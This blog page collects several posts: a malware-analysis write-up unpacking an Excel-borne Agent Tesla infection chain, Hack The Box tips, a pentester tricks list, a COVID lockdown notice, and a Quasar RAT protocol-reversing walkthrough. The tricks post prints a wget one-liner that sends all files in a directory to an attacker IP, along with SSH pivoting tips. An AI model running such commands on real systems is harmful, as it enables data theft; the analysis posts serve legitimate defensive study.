Entertainment, Offers, Technology, Mobiles, Earning , Work from Home and Everything

Saturday, 13 June 2020

Zero2Auto – Initial Stagers - From one Email to a Trojan

Preface:

This week we have discussed deobfuscating initial stagers and how to unpack their executable payloads. And what I’ve decided to do, to practice this week lesson is to find actual malware on any.run and unpack its entire initial stage.

Setting up goals:

I’ll choose an infected document from any.run, then I’ll deobfuscate it and extract its payload
I’ll take the payload and unpack it from memory, showcasing how to unmap a dumped PE
I’ll attempt to practice the first lesson by finding identifying encryption schemes or known algorithms within the payload.

Required background:

Knowledge in reversing VBA code
Knowledge in reversing PowerShell code
Knowledge in various analysis utilities (Process Hacker, PEBear, PEStudio, PEId)
Knowledge in IDA Pro
Knowledge in x64dbg
Basic understanding of stack overflow exploits and how to debug shellcode

Choosing a Target:

I decide to go on any.run to find an interesting sample – I have experience in macro deobfuscation so I decide to look for a infected document hosting an exploit which delivers a payload.

I decide to filter MS Office files with an exploit tag, and quickly find a huge batch of files:

Its valuable to mention that CVE-2017-11882(you can read about it here) is the same exploit used in the Zero2Auto lesson and it seems as it’s the most used exploit when delivering malicious6 docs. I’ve also observed that the exploit is sometimes leveraged that attacks the Outlook app directly when I filtered for email message file types:

I have chosen the following sample:

https://app.any.run/tasks/fce8f628-52cf-4f5d-968c-ab59ddeaabda/ and the reason for that mainly is because the infection chain is long, contains a wsf script, a vbs script and finally an EXE payload thus it could give me a lot of room to practice my knowledge.

From an email lure to an exploit:

I decide to extract the excel document and inspect it(SHA-256 97CC9023C114013326A97E946B0CA71BB641952208B5BA04463F1DAF15E1A5B5).

Method 1 – Examining the document by opening it

The first method is rather, not very safe to say the least but you should be fine if you have macros disabled by default, so I open up the Excel document and I’m met with the following:

I’m definitely not going to enable macros but before I review the macros I decided to check out the rest of the sheets. Sheet number 2 has a very interesting object within it:

And if you double click it:

This is an equation editor object that was embedded within the document, as I’m running on a fairly new MS Office version and this exploit was long ago mitigated on new versions I would expect I’d run into problems in performing this exploit but I bet I can do some stuff with the shellcode itself if we find it. Let’s continue to Sheet3:

An observant person like myself (flex much danus?) noticed this two little square and if we double click them, we’ll see that they are actually objects embedded within this document

These can also be seen being launched in the any.run These can also be seen being launched in the any.run view:

What was interesting that if we decide to the view the locations of these embedded objects

They are located within the Temp folder, but I never downloaded them.

To be honest, at this point we can stop the analyzes and simply dump these objects but I would like to review the actual shellcode of the exploit itself just to analyze it. So, I decided to enter the macro editor, and would you like at what I’ve found:

Auto_Open is great news for us!

I’ve decided to remove the macro deobfuscation from the scope of this blog because it’s pretty straight forward, so I’ll summarize it. This first stage macro contains another macro within itself, it copies this macro inside C:/Programdata/asc.txt and then it runs the newly written macro.

The second script is odd to say the least, it includes a lot of documentation for some reason and a lot of nonsense comments and text. I found one valuable text though:

Jokes aside this new macro is extremely obfuscated to the point where I could not use Daniels method of manual deobfuscation, so I decided to look for any valuable info.

One of the functions had Http function references and direct calls to some variable called myURL. The final function which I renamed to **DownloadFile **contains these references to the myURL Variable. Alas tho, this concluded with more confusing VBS code that I could not debug, for two reasons – being that this xlsm file is completely broken and I cant save it which doesn’t allow me to edit and debug the code properly and this method is also extremely dangerous as I couldn’t edit the malicious macro I kept executing the malware each time I opened the excel file. I had two more tools in my arsenal, one was to extract the two VBS files I’ve located within the excel and this can be done by manually opening the excel or using OLETools and honestly it’s a lot more safer to use OLETools so I set off to do just that.

Method 2 – Using OLETools to examine the excel

We know that there are embedded objects with the excel because we saw them and we know they are automatically saved inside the Temp folder as we opened the excel even if Macros are disabled and indeed it was true I found the files in the temp folder but if we want to extract the files safely we should use OLETools for that. I decided to use OLEVba first on the macro itself to see if it can extract anything meaningful from the macro, we located

Thankfully OLEVba did a lot of the work for us! By detecting the location of the exe payload. I also noticed that there are 4 OLE objects embedded within the xlsm. As we recall we found the Equation Editor, xx, mm so let’s try extracting them.

Let’s use OLEDump to view the files embedded with in the script:

![624x377](https://lh4.googleusercontent.com/pRJ_tQbDyXHfo9AHMvu6rw6f6KKd7-KcCHoXtFvLXw_oorglwFm-60MMo0KLaEyJ--9LAihXsQPxkXS0Ass_ae_uniyB9GRCOn7Mv4H2Ci_WdQHhkKubkW1A9RhaHV6RkElU2BsrLUyrh1ma8g

So the M signifies macro, we know that Module2 contains the Auto_Run macro, and from what I can tell there are 3 interesting files:

**B, C, D **I think the sub numerators to each character represent data within these objects. We know that xx, mm and the equation editor are embedded within this excel and because D3 I’d be assuming that object D is the vulnerable equation editor file. I suspect that since Microsoft mitigated the EQ3 exploit the attacker embedded it inside the excel and one of the macros somehow executes it. Well let’s see:

Alright, so this mm it looks like java script, interesting.

I decided to view the C2 stream which looks like the second stage vbs I found by viewing the excel manually it just looks… less obfuscated?

The one I viewed looked very similar, after further inspection I realized this is the same script I saw before with less obfuscation.

Alright, now lets view the final stream which is D3

As it looks like, this is the stack overflow implementation of the equation editor. The reason I assume this is because the long stream of bytes after the cmd shell string, also it looks very similar to the example POC given in the article I linked above regarding the CVE. I’ll dump this one as well.

All this does is rename the mm script to be named v, and then it executes.

So, lets summarize our findings:

By examining the excel we know that a macro exists within it that loads another macro, we’ll call them first_stage and second_stage respectively
We also know that there inside the excel file, there are 3 objects embedded within them:
1. xx
2. **mm **
3. E3shellcode

By examining the E3shellcode we can safely assume its meant to exploit the equation editor, which does not exist in my excel version but we can assume that it is true because if we look inside the any.run flow

We can see that EQNEDT32.EXE is calling that exact same shellcode, which is supposed to execute mm.

All mm does is execute **xx **and since we have vba script **xx **in its kinda deobfsucated form, so this time I’m really forced to analyze it. But one question arises? Why is there an exploit embedded within this excel AND a malicious macro that directly invokes xx.vbs? The answer for this is simple, since Microsoft mitigated the exploit in newer office versions the exploit will not work and why count on that? The threat actor dealt with that problem by additionally including a macro that would run the malware anyway.

Dealing with long, obfuscated, annoying and blinding VBA:

We already kinda know that this VBA script is responsible for downloading a file off the internet and executing it but for the sake of practice, I wanted to try and debug this code myself. I started up by cleaning up trash code, giving variables meaningful names and finally cleaning up string fragmentation.

The first two function called ase64Decode tse ase64Decode decodes base 64 code:

It’s easy to tell because of the name and because it accepts strings as parameters and additionally we see a call to both of these functions passing two strings with comments next to them:

“filestring” and “linkstring”, huh I wonder…

We found the payload location which will be downloaded, then the file would be saved in some location under name putty.exe, then a function called **KTx34hygf37it35hyr **which I renamed to **DownloadFile **downloads the payload to disk, how do I assume this? It’s literally documented within the macro.

Then the file is saved into C:\ProgramData\ and executed:

Awesome! One problem tho, if we try to access to the location of the malware we get:

God damnit, we’ll have to find this file manually online! But I have one more trick up my sleeve, what If I just try to access the website as is, without trying to access the sub domain:

It’s an open directory! Hosting files called june11n and june11o! I’m writing this as of date 2020 June 11th, so the dates match but the document was viewing now as uploaded at 10th!

After downloading both files, I saw that june11n.exe is a zip file containing an email, and the other file was a regular exe file. I instantly assumed that this is the file that was missing holy.exe but further examining their hashes proved me wrong, but still it might be just packed differently but the final payload would be the same. For that I would need to further analyze the files.

Initial Stagers Part 1 Summary:

Holy.exe –

Status: Packed

SHA-256 - 29503feaa5debe98241301a773875a564f67a4183ed681bc90b582824de6944c

https://bazaar.abuse.ch/sample/29503feaa5debe98241301a773875a564f67a4183ed681bc90b582824de6944c/

https://www.virustotal.com/gui/file/29503feaa5debe98241301a773875a564f67a4183ed681bc90b582824de6944c/community

https://analyze.intezer.com/#/analyses/c5194671-cc42-4f93-bdd9-bc8e8b575bd3/sub/78d7877a-362a-46d1-a1ae-0381d7fbbc5b

June11o.exe –

Status: Packed

SHA-256 - B539A1F17ED0C58D80F9088A7AC9985454C4922C0126FFBA86A2B0F5C42D9599

https://www.virustotal.com/gui/file/b539a1f17ed0c58d80f9088a7ac9985454c4922c0126ffba86a2b0f5c42d9599/detection

https://analyze.intezer.com/#/analyses/eeef3469-99ef-440f-8956-ccb288cb801d/sub/8e9324ce-a470-46ee-abd2-d655e657e5da

**boasteel.us **-

https://whois.domaintools.com/boasteel.us

https://urlhaus.abuse.ch/browse.php?search=boasteel

Dealing with Delphi Packers

In this section, I’ll be unpacking our malware. Dealing with SHA-256: 29503feaa5debe98241301a773875a564f67a4183ed681bc90b582824de6944c. I would not be performing a full malware analysis scenario, which means I would solely attempt to unpack the sample as is.

Static Analysis

PEStudio Artifacts:

Entropy: 7.16, very high

PE Type: PE32

Compiler Type: Borland Delphi

Suspicious Resources:

IDA Artifacts:

Meaningful strings: None

Meaningful Imports:

Resource Imports
VirtualAlloc
Create File
Write File
CreateThread

Dynamic Analysis

I decide by setting a break point on:

All the resource APIs
VirtualAlloc
VirtualProtect
CreateThread
WriteFile
CreateFile
CreateProcessInternalW

Additionally, to deal with Anti-RE I load Syclla-Hide.

I immediately break inside VirtualAlloc but only manage to get the allocated memory on the second time I hit VirtualAlloc. I decide to set up an hardware breakpoint on the first block of memory allocated and to break the debugger when it’s hit.

But nothing interesting happens, I continue execution and land on LockResource twice, which means I’m accessing two of the resources but for some reason I did not break on FindResource which should be run before. Finally, after a few useless calls that lead to no where I landed on FindResourceA which passed the handle returned from it to LockResource and finally I got a handle to resource 1033:

Then the resource is copied to a different location using VirtualAlloc:

I noticed the malware kept calling more resources again and again, without using strings to access the resource but with a unique ID and when I examined the resource section again I noticed over 200 resources that are trash:

And the packer was just iterating through all of them. I thought that I can just stop debugging the APIs and see if I can somehow exit this loop. I returned from the call to FindResource, and returned back to the sample execution and then I thought that if I’d simply look up my location in IDA I could quickly analyze the loop but then I realized:

The sample decrypted itself, so I had to dump the PE and give it a look in IDA again:

This little function kept calling itself, and I could assume these four blocks simply call FindResource->LockResource->-VirtualAlloc-> memcpy, when I tried to access the functions there were calling this one and view them I got even more confused since the disassembly was completely obfuscated and trashed. I decided to take my chances, remove the breakpoints set on the resources functions and continue execution hoping that VirtualProtect would eventually be hit and attempt to change some shellcode or a copied .text section to executable.

But instead I hit CreateProcessInternalW, this API was attempting to relaunch the malware in a suspended state:

I decided to return set the breakpoints again on VirtualAlloc and WriteProcessMemory. I hit run and crashed!

Alright at least I know where I’m crashing, I restarted the sample and waiting till I hit CreateProcessInternal. After I hit it, I returned out of the API and kept stepping until I hit a suspicious functions:

I decided not to skip it and examined the registers and I noticed one of them was pointing to a string with the value “PE”. PE Is the value of the Signature filed inside the IMAGE_NT_HEADERS. I quickly examined where the register was pointing at:

It’s a valid PE file! Alright so before I jump into my suspicious function I decide to dump this memory region:

As we can see it is still not executable so perhaps its also unmapped:

The file is UPX packed! Alright so I can assume this is the second stage packing but before I confirm this I want to know where does my suspicious function lead.

Our function calls ZwCreationSection, which is usually for me the first indicator of process hollowing, it does so for the new process we spawned. Then on the function calls **ZwMapViewOfSection **on new section, next the malware calls **ZwMapViewOfSection **on itself, which means its going to map the ImageBase.

Then the malware does something interesting:

It enters a loop, where it begins to copy the new UPX file we dumped, byte by byte into the new section we created until eventually:

The malware copies the entire new file into this section. After the copying is complete, the malware attempts to get the context of the main thread of the new sub process, how do I know this? First let’s look at the stack before the GetThreadContext:

This thread handle belongs to PID EF4:

It changes the process thread context to a new thread, which will execute the new file and invokes NtResumeThread to continue execution of the new subprocess:

Let’s prove this hypothesis. Let’s access the new sub process in process hacker and view its memory:

And dump it.

Let’s examine our mapped PE:

It matches our dumped PE exactly; the only difference is that its mapped to memory. So essentially what happened is very simple, our packed malware started a new sub process of itself, it mapped the original old ImageBase to memory and it mapped the other embedded UPX PE into memory. then it took the UPX PE memory and simply overwritten the new sub processes memory. after it completed it simply returns execution on the new PE. This is classic Process Hollowing. The PE seems unmapped so we can simply dump it.

I’ve used CFF Explorer to unpack it, upon viewing it seems it’s just a launcher. Its code section is small, containing two .text sections, The WinMain function is very linear. Usually there is a PE embedded within such a launcher that is executed in various techniques and if we examine the resource section

Well, this isn’t very stealthy… ahaha alright let’s dump this out.

I suspect this is the final payload, as this a .NET file and the verdict on malware bazaar was Agent Tesla. Let’s look this file up in VirusTotal and Intezer:

The verdict is clear, it’s Agent Tesla packed with ConfuserEx. We can use de4dot to deobfuscate ConfuserEx and continue analysis but that is beyond the scope of this post.

I hope you guys enjoyed this one

https://analyze.intezer.com/?utm_campaign=website%20to%20community&utm_source=GetStarted%20#/analyses/f704c668-999c-4c7c-9941-9c19a8fb60de/sub/3f32622a-8f38-485a-9add-eea25f2beede

Unpacking Delphi PE Summary:

Packed SHA-256:

29503FEAA5DEBE98241301A773875A564F67A4183ED681BC90B582824DE6944C

Unpacked SHA-256(UPX PE):

F3112BD51886FB705F33BEA0DDFA708AE6BABAB6F93162ABFDB931095EC6D116

Unpacked UPX SHA-256:

09A21333C61AA0DE5148E97AA238B8F8295E100891AA6A4F1F1108B27752FAD3

Unpacked Resource SHA-256:

c9b206aeded0795594a450b5717e65ba934c0dfab6005a8c696bd991ba96db15:

Useful things I tend to forget to do when playing HTB

HTB is a great place for anyone to practice their hacking skills. It doesn’t matter if you’re a beginner or a seasoned security professional, it has all sorts of machines to challenge your skills. After spending many hours, trying to root as many boxes as possible, I observed that I tend to forget some good practices or certain techniques and commands that would make my life easier and I thought of making this little article.

OSINT

With that, I mean the general concept of OSINT and looking for clues and solutions.

It’s always important to note any user you come across while browsing a website, as it may be useful for later use. A user Carl Smith that wrote an article on that box may have an account with the username csmith or c.smith or cSmith etc. If you come across a password with no username, chances are Mr. Smith is your guy.
Do some research on the box’s creator. This may sound as a cheat, but(!) see it this way: when you’re doing a pentest and you want to do a spear phishing attack, you have to know your target, right?
Many creators get in the process of creating a box just because they have an article about a technique to escalate privileges or a CVE under their name. Search for their blogs, their Github profiles and maybe even Twitter(?)!

Read `.bash_history`

Probably 99% of the boxes have it like that: .bash_history > /dev/null. Nevertheless, once you’re in the box, it only takes you half of a second to check. In real-world environments .bash_history can contain juicy information, like “accidental passwords typed after unsuccessful sudo” as mentioned this privilege escalation reference guide - Wiki 8 in 0x00sec. Although I get it why .bash_history gets redirected to dev/null/ here in HTB. If it wasn’t, I would be getting root just by waiting for someone to enter the commands for me!

$ `sudo -l`

I really don’t know why, I just forget it. But you shouldn’t!

Enum, enum, enum

I can’t stress that enough. Enumerate as if you’re about to get root.
Yeah, sometimes things are clear as daylight, e.g. having a machine that uses a web server that is vulnerable to RCE. But most of the times it’s not and HTB wants you to suffer.

Frustration is your enemy

This can be a note to myself for every time I get stuck in a box. No, vict0ni, the box doesn’t want to mess with you. Neither does the creator. Take a step back, review your findings and the situation, and try again. This, of course, is not limited for playing HTB but it’s a good general tip for hacking and coding.

Don’t avoid Windows boxes

You can’t avoid the inevitable. Windows were, are and will be a big part of the world of computers. Although it’s boxes doesn’t always have the most realistic environments, I tend to see HTB as a practice for the real world and a very good preparation for OSCP. As I lack of knowledge for Windows, I can only get better at it by practicing.

Tricks of the Trade from 5+ years in Offensive Cyber Security

have been actively hacking things now for 5+ years, both professionally and as a hobbyist. Inside these 5 years, many mistakes have been made, I have my banged my head against a wall many times, I’ve messed up, I’ve had many “Ohhhhh” moments. This may all sound extremely familiar to you, and you’ll agree, that through all this there is one constant: you learn from these experiences.

In this article I’m going to document a few techniques, commands and small things that make my day-day testing life easier, and that might just make your life more enjoyable!

I apologize in advance for how unstructued this article might be, I just had a lot of back-pocket tricks I have picked up over the years and if my unorganized brain dump of tricks can make somebody go “Oh thats cool!” I’ll be happy

If you found anything here interesting, helpful, or amusing, please share this article to share the knowledge and joy!

ZSH vs Bash, Aliases, Docker

ZSH

One thing that has seriously made a difference to my productivity has been ZSH, and more specifically plugins such as ‘Z’. ZSH coupled with oh-my-zsh, and smart tab completion enabled, makes navigating directories in your terminal so much more pleasurable.

With my current setup, I can type cd d/p/ad, press tab, and it’ll auto complete to Documents/Pentest/AD/. There is also a ZSH plugin I use called z. Z will analyse your directory history and figure out what directories you go to most often. After about a few hours of use, typing z pentest will take you to your pentest directory, z someproject will take you there no matter where you are.

It’s hard to explain, but it’s magic.

Aliases

More shell fun, inside your .zshrc or .bashrc (scum), you can specify an alias, an alias will set a name of a command to whatever you set.

So for example:

alias nmap="grc nmap"

GRC colorizes cli application, this will make nmap very pretty, and make the responses somewhat readable! Wow!

If you’re familiar with the Linux shell, you’ll also know that you can set variables using the EXPORT command.

`gobuster -w $BIG -u https://10.10.10.145/`

export DIRS_LARGE=/pentest/seclists/Discovery/Web-Content/raft-large-directories.txt
export DIRS_SMALL=/pentest/seclists/Discovery/Web-Content/raft-small-directories.txt

export FILES_LARGE=/pentest/seclists/Discovery/Web-Content/raft-large-files.txt
export FILES_SMALL=/pentest/seclists/Discovery/Web-Content/raft-small-files.txt

export BIG=/pentest/seclists/Discovery/Web-Content/big.txt

Setting these directories allows us to access them by using their alias, such as in the above example where we use gobuster with $BIG as apposed to using their full path. This is a very nice little tip as it not only keeps your command (usually) to one line, it also means you don’t have to remember and type out the entire wordlist path everytime you need the list - which trust me, can be a lot if you’re regularly enumerating HTTP.

Docker

This is something I’ve been doing ever since I discovered Docker, but ropnop sums it up really nicely in his Docker for Pentesters 142 article. I recommend reading through this, but my favourite trick from this entire article has got to be this:

alias postfiledumphere='docker run --rm -it -p80:3000 -v "${PWD}:/data" rflathers/postfiledump'

Run this command, postfiledumphere, and then on your target machine (in a hackthebox or remote reverse shell), run this:

ls | xargs -I{} wget http://10.10.14.3/{} --post-file {}

This will iterate through all the files in the local directory, and transfer it over HTTP. This is extremely helpful if you find yourself in an embedded device, or even a locked down container. If you don’t have wget, you can use curl (which is in most devices).

Situational Awareness with IP’s

If you’ve been given an IP, and you need to do some threat intel on it, you can get a pretty good feel for the type of host it is, where it is, and what it does.

IPInfo

Usually if I get given an IP, I’ll do a lookup with ipinfo.

curl ipinfo.io/54.90.107.240

{
  "ip": "54.90.107.240",
  "hostname": "ec2-54-90-107-240.compute-1.amazonaws.com",
  "city": "Virginia Beach",
  "region": "Virginia",
  "country": "US",
  "loc": "36.8512,-76.1692",
  "org": "AS14618 Amazon.com, Inc.",
  "postal": "23465",
  "readme": "https://ipinfo.io/missingauth"
}

IPInfo will return JSON with details all about the host, the great thing about this is that you can easily script it by piping into jq.

I tend to abuse bash for loops for this kind of thing, say you have a text file full of IP’s:

for ip in $(cat ips.txt); do echo -n "$ip: "; curl -s ipinfo.io/$ip | jq .org; done

54.90.107.240: "AS14618 Amazon.com, Inc."
54.90.107.120: "AS14618 Amazon.com, Inc."
54.90.107.241: "AS14618 Amazon.com, Inc."
54.90.107.242: "AS14618 Amazon.com, Inc."
54.90.107.243: "AS14618 Amazon.com, Inc."

GreyNoise.io 40

You can do the same with Greynoise, if you don’t know already, Greynoise.io 59 is a badass service that hosts thousands of listeners all over the internet silently listening. When devices scan the internet for different ports, services, HTTP requests and the like, Greynoise takes note and indexes them.

The idea behind Greynoise is to ingest all the noise on the internet, so that you can filter it out.

If you have an API key, you can use the greynoise

If you have an API key, you can use the greynoise client from https://github.com/GreyNoise-Intelligence/GNQL 39.

greynoise 54.90.107.240

     __  ____/__  | / /_  __ \__  / 
     _  / __ __   |/ /_  / / /_  /  
     / /_/ / _  /|  / / /_/ /_  /___
     \____/  /_/ |_/  \___\_\/_____/
    
 ┌───────────────────────────┐
 │       result 1 of 1       │
 └───────────────────────────┘

          OVERVIEW:
 ----------------------------
 IP: 54.90.107.240
 Classification: unknown
 First seen: 2018-10-19
 Last seen: 2018-10-19
 Actor: unknown
 Tags: ['Web Crawler', 'HTTP Alt Scanner']

          METADATA:
 ----------------------------
 Location: Ashburn, United States (US)
 Organization: Amazon Technologies Inc.
 rDNS: ec2-54-90-107-240.compute-1.amazonaws.com
 ASN: AS14618
 OS: unknown
 Category: hosting

          RAW DATA:
 ----------------------------
 Port/Proto: 8443/TCP

 [Paths]
 /

And of course, you can loop this around all day with bash for loops and the -o json option.

Shodan

You are probably aware of Shodan, I had to mention this for those who still don’t know, as it’s such a valuable tool.

Shodan scans all the hosts on the internet, all the time. This means you can preform a lookup of a host and see what they have.

shodan host 216.58.210.206

216.58.210.206
Hostnames:               mrs04s09-in-f206.1e100.net;lhr48s11-in-f14.1e100.net
City:                    Mountain View
Country:                 United States
Organization:            Google
Updated:                 2019-08-17T19:28:38.408716
Number of open ports:    2

Ports:
     80/tcp  
    443/tcp  
	|-- SSL Versions: TLSv1, TLSv1.1, TLSv1.2, TLSv1.3

Email Recon

A quick little trick I picked up is preforming recon on email addresses extremely quickly using EmailRep.

curl emailrep.io/john.smith@gmail.com

{
  "email": "john.smith@gmail.com",
  "reputation": "high",
  "suspicious": false,
  "references": 91,
  "details": {
    "blacklisted": false,
    "malicious_activity": false,
    "malicious_activity_recent": false,
    "credentials_leaked": true,
    "credentials_leaked_recent": false,
    "data_breach": true,
    "last_seen": "07/27/2019",
    "domain_exists": true,
    "domain_reputation": "n/a",
    "new_domain": false,
    "days_since_domain_creation": 8773,
    "suspicious_tld": false,
    "spam": false,
    "free_provider": true,
    "disposable": false,
    "deliverable": true,
    "accept_all": false,
    "valid_mx": true,
    "spoofable": true,
    "spf_strict": true,
    "dmarc_enforced": false,
    "profiles": [
      "lastfm",
      "pinterest",
      "foursquare",
      "aboutme",
      "spotify",
      "twitter",
      "vimeo"
    ]
  }
}

SSH Tunelling

If you’ve ever exposed a CobaltStrike team server port externally, and told people about it, you’ll get a lot of hate (source: 1337 hacker slacks). What’s the solution? SSH Tunelling.

If you have SSH access to a host, you can tunnel ports (map remote ports to local ones), dynamically create SOCKS proxies, and a lot of really cool things.

Mapping remote port to local port

ssh -L localport:127.0.0.1:remoteport user@host

A good way to think about the syntax of SSH tunnels is to split it into two parts (when I saw this it blew my mind.)

ssh -L 127.0.0.1:8080:127.0.0.1:80 user@host

This will open local port 8080, mapped to port 80 on the remote server. Luckily for us, SSH is kind and let’s us infer the first host as local.

Opening a SOCKS proxy that routes from your server

SSH -D 8080 user@host

This will open a socks proxy on local port 8080, you can modify your proxychains.conf to accept this port, and then use proxychains before every command to route traffic through that host.

Vagrant

This is a cool little trick I learned, and it has really made me productive and has generally made things easier.

Like Docker, vagrant can spin up instances of operating systems and drop you into an interactive shell.

My favourite is using Ubuntu:

vagrant init hashicorp/precise32
vagrant up
vagrant ssh
cd /vagrant/

You’ll be dropped into an Ubuntu Precise shell!

Conclusion

In conclusion, a lot of cool little tricks can really make your life easier as a pentester. Small one liners, a reference article like this, and you may actually look like you know what you’re doing.

Sunday, 31 May 2020

LOCKDOWN EXTENSION TILL JUNE 30th.

Government issues new guidelines for phased re-opening of all activities outside containment zones for the next one month.

LOCKDOWN EXTENSION TILL JUNE 30th.

Phase I, religious places and places of worship for public; hotels, restaurants and other hospitality services; and shopping malls; will be permitted to open from June 8, 2020.

Phase II, schools, colleges, educational/ training/ coaching institutions etc., will be opened after consultations with States and UTs.

Phase III: Dates for their opening of International air travel of passengers; operation of Metro Rail; cinema halls, gymnasiums, swimming pools, entertainment parks etc will be decided based on assessment of the situation.

Master of RATs - How to create your own Tracker

Master of RATs - How to create your own Tracker

Master of RATsPreface

One day I was skimming through abuse.ch 1. This website collects user submitted malicious or suspicious URLs and I've stumbled through something very interesting. I saw that a user that goes by the twitter handle @Gandylyan1 is uploading huge amounts of daily samples of the same malware variant called Mozi (You can read about it here 12). This botnet is an IoT P2P botnet that seems to spread like crazy. Gandy is uploading samples as I write this article and there are currently 24,709 IPs uploaded to abuse.ch, and it seems gandy is the only one uploading them.

The malware is very interesting and not too complicated too understand. In the basic gist it spreads through IoT devices using known exploits and brute forcing attacks, if it manages to connect to an IoT device it starts an http service on that device and uploads itself to a random port and hosts the sample on the IoT device's IP address. This peer scans and attacks the network and when it takes over another device this newly infected device will receive the mozi sample from the previously infected peer. This is a parasite. I was so excited about this that I've decided to set off with a simple goal in mind – to build a tracker for this botnet.

But alas my Linux knowledge can be summed up with the fact that I know that " ls -la" should print the contents of a directory. But the idea of creating a malware tracking tool was eating me up day and night. After a short search I've stumbled upon the following tool created by Intezer 1. This tool is found here https://github.com/intezer/MoP 18. This tool is a small python project allows a researcher to fake an infected malware client by simulating an OS environment. All the researcher must do is reverse a malware network protocol. No honeypots, no virtual machines no nothing. Sounds easy right? I though the same. I looked up any open source malware tools on GitHub and found Quasar 20, which is an open source RAT which is used by people for malicious purposes. This is a great way to learn about malware, reversing open source malware and just understanding how everything works under the hood on the networking side. Great candidate for our little experiment! And so, I have set of to become the Master of RATs.

Required Knowledge:

Basic knowledge of WiresharkBasic knowledge of programmingIntermediate knowledge in pythonBasic knowledge in C#

Required Tools:

VMWareVisual Studio CommunityPython 3.8Sublime Text Editor 3DnspyDe4dotBrain

Setting up some goals:

Before we even think about using Intezers tool we must reverse Quasar. What are we looking for?

We want to understand how a Quasar client connects to a serverWe want to understand how Quasar constructs the messages it sends to the severWe want to understand if there is an encryption/decryption process for processing messagesWe also want to understand how the server processes client messages (which is possible in this case since we hold the source code for Quasar)Learning to read C#

We load up the downloaded Quasar source into Visual Studio 2019 Community which can be downloaded for free here and we are greeted with this:

We are interested in the client code, how ever just for reference and as we will be dealing with the others – Common contains various utilities and Server contains the code for the Server application. All C# programs start with Program.cs as far as I managed to figure out so we will start there as well, let's open Quasar.Client and find Program.CS.

Ah, I wish this was C . Anyway, we can see a few things of interest in this little statement if we right click QuasarClient and then click on go to implementation we will drop on where most of the juice happens in this code.

We'll start by explaining the QuasarClient class which inherits from the Client Class. The job of this class is to manage all the events that that accrue within the client, It has a special function to handle the registration of the bot ( OnClientState ), it has a function to handle message reading events ( OnClientRead ) and failing events ( OnClientFail ).

The OnClientState function attempts to send an identification packet to the server. To explore how this message is created we can access the constructor of the ClientIdentification Class

Everything here seems rather normal except for these Proto declarations.

Let's get back to the Program. cs code block and look at ConnectClient.Connect

Which leads us back to the base Client class

Alright! Seems like this the answer to our first goal! It seems that to initiate a connection the client first establishes an SSL Stream, and then it looks like some sort of validation is happening using ValidateServerCertificate callback and AuthnticateAsClient. Let's leave these for now as we are just mapping how the code works. Now what happens next? If we access OnClientState through the Client base class that would lead us to the event handler itself, to find the actual function that triggers on this even we must go to QuasarClient.cs and access the reimplementation of the function through there (Gosh I hate OOP). As we saw before, The OnClientState function triggers the client.Send function

I'll be honest I don't know C# but I'm working with my instincts here (much like in assembly haha) and the only thing of value that I see here is ProcessSendBuffers so let's access that and see if it would yield us any results.

Again, using the same strategy as before, lets access SafeSendMessage and see where it takes us.

Alright, now we don't want to access OnClientWrite as I fear it won't take us where we want but instead lets access WriteMessage which is located within the class called PayloadWriter.

Jackpot. This function writes a serialized message(I'll explain what serialization is, don't worry) to the SSL stream! So, let's make a small diagram detailing our findings:

Alright, this is obviously very shallow and incomplete and as we progress with our dynamic analysis, we could expand on this diagram so let's compile this Quasar Project on Release settings in Visual Studio and move this entire thing to a virtual machine and start playing around with it.

Building and analyzing a sample:

After you compile Quasar and moved it to an isolated environment you can start the Quasar.

This screen should pop up, and this is actually very important. This pop message is a builder for the X509 Certificate which is responsible for creating a valid SSL stream between the client and the server. Quasar will generate a X509 cert and bind this cert to all generated clients. You can learn more about SSL here: LINK 1

After you generate a certificate is time to build a sample, after generating the certification click on the Builder and you should be promoted with the builder menu, the most important part is this one:

I have 2 IPs here; one is the loop back address and the other is the local IP of this Virtual Machine. I would suggest binding the client to the IP of the current virtual machine as it would be possible to emulate connections to the server from the current virtual machine and outside through the host (since the host is also a member within the VMWare local network). You can use any port you like but I've used port 27015 because Minecraft. After you built the client you should see it within the current directory of the installed Quasar client. Let's take it out and open it in dnspy which is a .NET decompiler

But we are met with this garbage, but do not worry! We can use de4dot which a .NET binary de-obfuscator so let's run it and we should be met with a clean Quasar client:

So what you can see here, is although our Quasar client is clean the symbols are gone but don't worry as we hold the full source so let's start debugging. we just want to see if our diagram is correct so lets click start and place a break point on the entry point (I highly suggest renaming these functions and class names according to the source but since I've debugged this so many times I already know this know block like my right hand). PLEASE MAKE SURE QUASAR SERVER IS RUNNING. We'll encounter our first problem with in Class0.smethod_3() which is the second Initialization method:

It will not return True , thus causing the client not to execute and exit. but why?! Let's look inside our source code:

This if statement which is marked in red, install and connects our client to the server by returning true after initializing but it seems it will not execute as the current path the client is running from is not equal to the install path. To understand what I mean let's go back to the builder:

So, this code block checks if the client is currently being run from inside Appdata\Romaing (In this specific case) if its not there it would execute the following code:

This code handles two problems, one is that the client has detected that another instance of Quasar is running because it detected the same mutex that was used within the current client and the other is to Install the client into the computer but adding persistence, killing and deleting the current file and process and relaunching it after it has been moved to our designated install folder. You can enter the Install method and read for yourself as the code is very documented. This is very cool cause it gives a researcher a real insight in how malware might be developed. With this knowledge in mind let's do two things:

Update our diagramMove our client to the designated install directory and start it from there

Let's debug our client from our preferred install directory and see what happens, remember to make sure the quasar server is running in addition I would like to fire up Wireshark to monitor the network(This are my own settings, and the IP address and Port will be different on your machine):

I'll restart the client from the Appdata\Roaming directory and jump straight into the Client.Connect function:

This time we hit exactly where we want (Pro tip, you can right click dnspy objects and change their names but hitting Edit method, after hitting enter to confirm the change it would send you inside the edited function – to go back, press backspace).

We have three places that are of value here, first is the RemoteCertificationValidationCallBack which would validate the certification received from the server, the stream reading function and OnClientState function that as stated before should send us to the QuasarClient registration handler.

So socket.Connect function should connect me to the server successfully and initiate the first TCP handshake :

Next I want to examine what happens when we execute line 287.

This is an SSL handshake, but what happened is that the server passed its X509 cert to the client and the client approved this certification, and this is happening inside RemoteCertificationValidationCallBack. Let's examine how it looks inside the source code

As you can see within the # else statement which happens when the binary is compiled with debug mode off, there is a function that checks if the clients and the servers certificate match. But look at what happens within the debug mode, it just returns true and because this happens on the client side… our client emulator can do the same to initiate a valid SSL communication with the server. Let's keep this in mind and continue. What happens next is a bit tricky, in line 290 inside the Client Class, OnClientState would be called but because it is called from the Client class the event registration function would hit and not the event handler function.

